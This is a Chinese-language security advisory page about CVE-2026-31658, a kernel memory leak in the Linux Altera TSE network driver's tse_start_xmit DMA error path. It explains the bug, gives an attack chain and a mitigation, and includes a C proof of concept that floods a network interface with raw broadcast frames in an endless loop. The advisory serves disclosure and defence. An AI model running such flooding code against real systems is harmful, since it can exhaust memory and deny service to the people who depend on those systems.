IPBUF安全漏洞报告
English
CVE-2026-31658 CVSS 5.5 中危

CVE-2026-31658: Linux内核Altera TSE驱动内存泄漏漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31658
漏洞类型
内存泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Memory LeakLinux KernelDoSLocalAltera TSE

漏洞概述

Linux内核中的Altera TSE网络驱动程序存在一处内存泄漏漏洞。在数据包发送函数`tse_start_xmit`中,当DMA映射操作失败时,代码逻辑错误地直接返回`NETDEV_TX_OK`状态码,而未释放已分配的套接字缓冲区。由于返回值告知网络协议栈数据包已被成功处理,导致该内存块永远不会被释放,长期累积可导致系统内存资源耗尽。

技术细节

该漏洞位于Linux内核的`drivers/net/ethernet/altera/altera_tse_main.c`文件中的`tse_start_xmit`函数。正常流程下,驱动程序通过`dma_map_single`将skb数据映射到DMA地址以便硬件传输。如果映射失败,函数应返回错误码并释放skb。然而,有问题的代码路径在检测到`dma_map_single`返回错误时,仅返回了`NETDEV_TX_OK`。在Linux网络驱动模型中,返回`NETDEV_TX_OK`意味着驱动已经接管了skb的生命周期并负责释放它。由于此处未调用`dev_kfree_skb_any`,导致skb泄漏。攻击者可通过持续触发网络流量并制造DMA映射压力(如频繁发送特定大小数据包或耗尽IOMMU空间),反复触发该错误路径,从而耗尽内核内存,造成拒绝服务攻击。

攻击链分析

STEP 1
步骤1
攻击者获得对目标Linux系统的本地访问权限(低权限)。
STEP 2
步骤2
攻击者确认系统加载了Altera TSE网络驱动程序。
STEP 3
步骤3
攻击者执行恶意程序,向该网络接口发送大量数据包,或消耗系统IOMMU资源以引发DMA映射失败。
STEP 4
步骤4
驱动程序在tse_start_xmit函数中处理失败,但未释放skb,导致内存泄漏。
STEP 5
步骤5
随着时间推移,内核可用内存被耗尽,导致系统不稳定或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/ethernet.h> #include <net/if.h> // Conceptual PoC to flood the network interface to potentially trigger memory leaks // or resource exhaustion in vulnerable drivers. #define BUFFER_SIZE 1518 int main() { int sockfd; struct ifreq if_idx; struct sockaddr_ll socket_address; char buffer[BUFFER_SIZE]; char ifName[IFNAMSIZ] = "eth0"; if ((sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) { perror("socket"); return -1; } memset(&if_idx, 0, sizeof(struct ifreq)); strncpy(if_idx.ifr_name, ifName, IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return -1; } unsigned char dest_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; memset(&socket_address, 0, sizeof(socket_address)); socket_address.sll_family = AF_PACKET; socket_address.sll_protocol = htons(ETH_P_ALL); socket_address.sll_ifindex = if_idx.ifr_ifindex; socket_address.sll_halen = ETH_ALEN; memcpy(socket_address.sll_addr, dest_mac, 6); memset(buffer, 0xAA, BUFFER_SIZE); struct ethhdr *eth = (struct ethhdr *)buffer; memcpy(eth->h_dest, dest_mac, 6); memcpy(eth->h_source, dest_mac, 6); eth->h_proto = htons(ETH_P_IP); printf("Starting PoC: Flooding interface %s to trigger potential DMA mapping errors...\n", ifName); int count = 0; while (1) { if (sendto(sockfd, buffer, BUFFER_SIZE, 0, (struct sockaddr*)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); break; } count++; if (count % 1000 == 0) { printf("Sent %d packets...\n", count); } } close(sockfd); return 0; }

影响范围

Linux Kernel (稳定分支,早于修复补丁版本)

防御指南

临时缓解措施
如果不需要使用Altera TSE网络设备,可以通过禁用该驱动模块(如modprobe -r altera_tse)或将其加入黑名单来缓解风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表